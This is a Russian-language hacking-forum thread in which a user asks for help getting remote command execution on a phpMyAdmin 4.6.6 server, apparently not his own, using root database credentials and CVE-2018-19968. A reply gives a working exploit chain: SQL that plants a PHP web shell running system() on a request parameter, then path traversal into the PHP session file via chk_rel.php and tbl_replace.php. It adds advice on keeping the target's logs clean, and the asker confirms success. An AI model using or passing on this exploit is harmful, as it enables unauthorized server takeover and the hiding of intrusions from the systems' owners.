RCE в Phpmyadmin 4.6.6 (до v4.8.4)

Discussion in 'Кухня' started by ilqar200, 8 Jan 2023.

  1. ilqar200

    ilqar200 New Member

    Joined:
    19 Feb 2022
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    Здравствуйте уважаемые форумчане. Прошу помощи (примерное направление действий) во взломе Phpmyadmin 4.6.6 а конкретнее в удаленном выполнение кода в ней. Есть авторизационные данные пользователя root базы. Поиск в интернете привел меня к этой статье :https://blog.scrt.ch/2018/12/14/phpmyadmin-multiple-vulnerabilities/ .В этой статье описывается уязвимость CVE-2018-19968 которую я хочу использовать.Благодарю этой статье я могу добраться до вывода функций phpinfo(). Некоторые другие информационные функции (ini_get_all,get_current_user,getcwd) тоже выполняются успешно. Но системные команды выполнить не удается с помощью средств php (exec,shell_exec,system).Вывод показывает только содержание сессионного файла php . Можно читать некоторые файлы (etc/passwd и другие ) В disable_functions-е стоит вот это : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
    Значение Secure file priv стоит : /var/lib/mysql-files/
    Версия Mysql : 5.7.20 . Версия Php : 7.1.8-2 . Система ubuntu17.04.1.
    Подскажите как выполнить системные команды в этой ситуации ?
     
    #1 ilqar200, 8 Jan 2023
    Last edited: 8 Jan 2023
    dooble likes this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Должно работать.
    Проверь на чистую сессию:
    Code:
    -- DROP DATABASE `foo`;
    
    CREATE DATABASE foo;
    CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
    INSERT INTO foo.bar SELECT '<?php $c=$_GET["c"];system($c);?>';
    
    /chk_rel.php?fixall_pmadb=1&db=foo
    
    use foo;
    INSERT INTO `pma__column_info` SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../../var/lib/php/sessions/sess_{yourSessionId}','plop';
    
    /tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique= 1&c=ls+-la
    
    $_GET - для локальной проверки, на таргете (чтобы не пачкать логи) лучше использовать $_POST или $_COOKIE.
     
    Baskin-Robbins likes this.
  3. ilqar200

    ilqar200 New Member

    Joined:
    19 Feb 2022
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    Спасибо вам ОГРОМНОЕ. Сработало.

    Да я там настолько напачкал логи что уже не имеет разницы ). Мне остается надеется что логи сами удаляться через некоторое время или я сам если осмыслю почищу. Спасибо вам ЕЩЕ РАЗ .
     
    dooble likes this.
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Интересно, на каких версиях работает.
    Проверил на v. 4.7.5 - отработало.
     
  5. ilqar200

    ilqar200 New Member

    Joined:
    19 Feb 2022
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    Работает до версии 4.8.4

    An attacker can exploit phpMyAdmin before 4.8.4 to leak the contents of a local file because of an error in the transformation feature. The attacker must have access to the phpMyAdmin Configuration Storage tables, although these can easily be created in any database to which the attacker has access. An attacker must have valid credentials to log in to phpMyAdmin; this vulnerability does not allow an attacker to circumvent the login system.
     
    CyberTro1n and dooble like this.